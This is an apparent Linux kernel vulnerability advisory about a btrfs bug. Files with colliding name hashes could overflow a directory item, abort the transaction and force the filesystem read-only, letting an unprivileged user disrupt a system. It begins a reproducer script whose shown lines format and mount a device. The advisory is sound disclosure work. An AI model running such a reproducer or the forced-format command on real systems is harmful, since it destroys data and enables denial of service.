In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix transaction abort on file creation due to name hash collision

If we attempt to create several files with names that result in the same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows for a malicious user to disrupt a system, without the need to have administration privileges/capabilities.

Reproducer:

$ cat exploit-hash-collisions.sh #!/bin/bash

DEV=/dev/sdi MNT=/mnt/sdi

# Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT
